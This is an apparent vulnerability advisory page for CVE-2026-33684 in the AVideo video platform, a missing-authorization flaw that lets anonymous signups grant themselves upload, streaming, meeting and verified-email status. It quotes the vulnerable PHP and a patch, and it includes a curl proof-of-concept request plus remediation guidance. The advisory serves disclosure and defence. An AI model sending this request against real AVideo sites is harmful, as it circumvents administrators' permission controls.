AVideo CVE-2026-33684
MEDIUMSeverity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Network-accessible endpoint, CAPTCHA solved by attacker (not UI:R), no prior auth required, impact limited to integrity of own account permissions with no confidentiality or availability effect.
Primary rating from Vendor (https://github.com/WWBN/AVideo).
CVSS VectorVendor: https://github.com/WWBN/AVideo
Lifecycle Timeline
2DescriptionCVE.org
Summary
The set_api_signUp method in the API plugin accepts emailVerified, canUpload, canStream, and canCreateMeet parameters from user-supplied input and applies them to newly created accounts without verifying that the request was authenticated with a valid APISecret. Any anonymous user who can solve a CAPTCHA can self-grant elevated permissions during account registration.
Details
The authentication check in set_api_signUp (plugin/API/API.php:4222) allows either a valid APISecret (admin-level credential) or a solved CAPTCHA (anonymous access):
// plugin/API/API.php:4222-4232
if ($obj->APISecret !== @$_REQUEST['APISecret']) {
if(empty($_REQUEST['captcha'])){
return new ApiObject("Captcha is required");
}
require_once $global['systemRootPath'] . 'objects/captcha.php';
$valid = Captcha::validation($_REQUEST['captcha']);
if(!$valid){
return new ApiObject("Captcha is wrong, reload it and try again");
}
}After this check, both code paths (APISecret and CAPTCHA) reach the privilege parameter handling unconditionally:
// plugin/API/API.php:4238-4249
if (isset($_REQUEST['emailVerified'])) {
$global['emailVerified'] = intval($_REQUEST['emailVerified']);
}
if (isset($_REQUEST['canCreateMeet'])) {
$global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);
}
if (isset($_REQUEST['canStream'])) {
$global['canStream'] = intval($_REQUEST['canStream']);
}
if (isset($_REQUEST['canUpload'])) {
$global['canUpload'] = intval($_REQUEST['canUpload']);
}These $global values are then consumed by User::save() (objects/user.php:829-840), which overrides the user object's permission fields:
// objects/user.php:829-840
if (isset($global['emailVerified'])) {
$this->emailVerified = $global['emailVerified'];
}
if (isset($global['canCreateMeet'])) {
$this->canCreateMeet = $global['canCreateMeet'];
}
if (isset($global['canStream'])) {
$this->canStream = $global['canStream'];
}
if (isset($global['canUpload'])) {
$this->canUpload = $global['canUpload'];
}Note that even though userCreate.json.php:90 sets canUpload from the site's default configuration, User::save() subsequently overrides it with the attacker-controlled $global value.
The codebase already uses self::isAPISecretValid() to guard admin-only operations in other API methods (e.g., lines 294, 991, 1664, 2150), but this check is missing for the privilege parameters in set_api_signUp.
PoC
# Step 1: Get a CAPTCHA token
# (Navigate to the signup page in a browser, solve the CAPTCHA, capture the token)
# Step 2: Register with elevated privileges
curl -X POST 'https://target/plugin/API/set.json.php' \
-d 'APIName=signUp' \
-d 'user=attacker' \
-d 'pass=Password123!' \
-d 'email=attacker@example.com' \
-d 'name=Attacker' \
-d 'captcha=VALID_CAPTCHA_TOKEN' \
-d 'emailVerified=1' \
-d 'canUpload=1' \
-d 'canStream=1' \
-d 'canCreateMeet=1'
# Expected: Account created with default (restricted) permissions
# Actual: Account created with upload, stream, and meet permissions enabled,
# plus email marked as verified
# Step 3: Verify elevated permissions by logging in and checking profile
curl -X POST 'https://target/plugin/API/set.json.php' \
-d 'APIName=signIn' \
-d 'user=attacker' \
-d 'pass=Password123!'
# Response will show canUpload=1, canStream=1, canCreateMeet=1, emailVerified=1Impact
- Email verification bypass: Attackers can mark their accounts as email-verified without owning the email address, bypassing any email-gated functionality
- Unauthorized upload access: Self-granted upload permissions allow uploading potentially malicious video content to the platform
- Unauthorized streaming access: Self-granted streaming permissions allow unauthorized live streaming
- Unauthorized meeting creation: Self-granted meet permissions allow creating meetings on the platform
- Policy bypass: Platform administrators who intentionally restrict these permissions for new users (e.g., requiring manual approval before granting upload rights) have their access controls circumvented
Recommended Fix
Wrap the privilege parameter handling in an isAPISecretValid() check so that only admin-authenticated requests can set these values:
// plugin/API/API.php - replace lines 4238-4249 with:
if (self::isAPISecretValid()) {
if (isset($_REQUEST['emailVerified'])) {
$global['emailVerified'] = intval($_REQUEST['emailVerified']);
}
if (isset($_REQUEST['canCreateMeet'])) {
$global['canCreateMeet'] = intval($_REQUEST['canCreateMeet']);
}
if (isset($_REQUEST['canStream'])) {
$global['canStream'] = intval($_REQUEST['canStream']);
}
if (isset($_REQUEST['canUpload'])) {
$global['canUpload'] = intval($_REQUEST['canUpload']);
}
}AnalysisAI
Unauthenticated privilege escalation in AVideo (composer/wwbn/avideo) versions below 29.0 allows any user who can solve a CAPTCHA to self-grant upload, streaming, meeting-creation, and email-verified status during account registration. The root cause is that set_api_signUp in plugin/API/API.php applies admin-controlled permission parameters (emailVerified, canUpload, canStream, canCreateMeet) unconditionally across both its authenticated (APISecret) and anonymous (CAPTCHA) code paths, bypassing the isAPISecretValid() guard that correctly protects equivalent admin operations elsewhere in the codebase. A working proof-of-concept curl sequence is publicly documented in the GitHub security advisory GHSA-8j8m-p79x-g4jm; no active exploitation has been confirmed by CISA KEV at time of analysis.
Technical ContextAI
AVideo is an open-source PHP video platform (composer package wwbn/avideo) whose API plugin exposes account registration via set.json.php?APIName=signUp. The dual-path authentication in plugin/API/API.php:4222 accepts either an admin-level APISecret or a solved CAPTCHA token for account creation - a deliberately permissive design to support both programmatic admin provisioning and self-service registration. The flaw (CWE-862: Missing Authorization) arises because the four privilege-setting blocks at lines 4238-4249 are positioned after the auth gate and execute unconditionally regardless of which credential path was used. Those blocks write into the $global superglobal array, which User::save() at objects/user.php:829-840 then reads to override the user object's permission fields, defeating the default-permission assignment that userCreate.json.php:90 sets from site configuration. The codebase already demonstrates awareness of this separation of concerns - self::isAPISecretValid() guards equivalent admin-only operations at lines 294, 991, 1664, and 2150 - making this an omission rather than a design-level misunderstanding.
RemediationAI
Upgrade to AVideo version 29.0, which resolves the issue by wrapping the privilege-parameter handling block in a self::isAPISecretValid() guard so that emailVerified, canUpload, canStream, and canCreateMeet can only be set via admin-authenticated API requests. The patch commit is 061f242cba0e068cc1b461705fe839274b5038ff and the advisory is at https://github.com/WWBN/AVideo/security/advisories/GHSA-8j8m-p79x-g4jm. If immediate upgrade is not possible, a compensating control is to disable public self-registration via the API endpoint (/plugin/API/set.json.php) at the web server or WAF layer, restricting access to trusted IP ranges only - this prevents anonymous exploitation but also blocks legitimate self-service signups and may require workflow changes. Alternatively, a WAF rule blocking POST requests to set.json.php that include the parameters emailVerified, canUpload, canStream, or canCreateMeet can neutralize the privilege escalation while preserving normal registration; this approach requires WAF capability and carries a risk of false positives if those parameter names are used legitimately elsewhere.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-862 – Missing Authorization
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-8j8m-p79x-g4jm